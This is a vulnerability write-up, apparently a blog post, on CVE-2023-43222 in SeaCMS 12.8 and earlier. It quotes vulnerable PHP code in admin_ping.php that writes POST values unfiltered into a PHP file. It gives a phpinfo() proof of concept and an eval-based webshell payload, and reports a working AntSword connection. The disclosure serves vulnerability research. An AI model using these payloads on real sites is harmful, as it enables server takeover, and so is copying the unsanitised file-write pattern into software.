SeaCMS Background RCE(CVE-2023-43222)

SeaCMS版本12.8发现了一个远程代码执行漏洞,攻击者可通过POST方法注入恶意代码到/data/admin/ping.php文件。建议立即更新并检查是否存在安全验证漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Vulnerability description

   Code audit SeaCMS discovered a remote code execution vulnerability.

   An arbitrary code writing vulnerability exists in the /jxz7g2/admin_ping.php file, causing the attacker's malicious code to be written into the /data/admin/ping.php file, and /data/admin/ping.php can be accessed and executed.(jxz7g2 is the background folder name randomly generated during installation)

Problem type

Remote code execution

Product

Seacms <= V12.8

Version

Seacms <= V12.8

Download address

The latest version download address: GitHub - seacms-net/CMS: 海洋cms程序发布

Detailed process

   The problem code is as follows:

if($action=="set")
{
	$weburl= $_POST['weburl'];
	$token = $_POST['token'];
	$open=fopen("../data/admin/ping.php","w" );
	$str='<?php  ';
	$str.='$weburl = "';
	$str.="$weburl";
	$str.='"; ';
	$str.='$token = "';
	$str.="$token";
	$str.='"; ';
	$str.=" ?>";
	fwrite($open,$str);
	fclose($open);
	ShowMsg("成功保存设置!","admin_ping.php");
	exit;
}

   Found that when action==set, the parameters weburl and token can be passed in through the POST method.These two parameters will be spliced into a piece of php code and written to the data/admin/ping.php file. Without any filtering and checking, attackers can pass in malicious code and eventually write it into the ata/admin/ping.php file.

   The POC is as follows:

POST /seacms/jxz7g2/admin_ping.php?action=set
……
weburl=123";phpinfo();"

   Take a look at the actual verification situation.

   Check the data/admin/ping.php file.

   Found that phpinfo() was successfully written into the data/admin/ping.php file.

   Whether the access verification code can be executed.

   phpinfo() was successfully executed.

Get Shell

   Use the following payload:

weburl=123";@eval($_POST["cmd"]);"

   The webshell is written successfully.

   AntSword connection is successful.

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值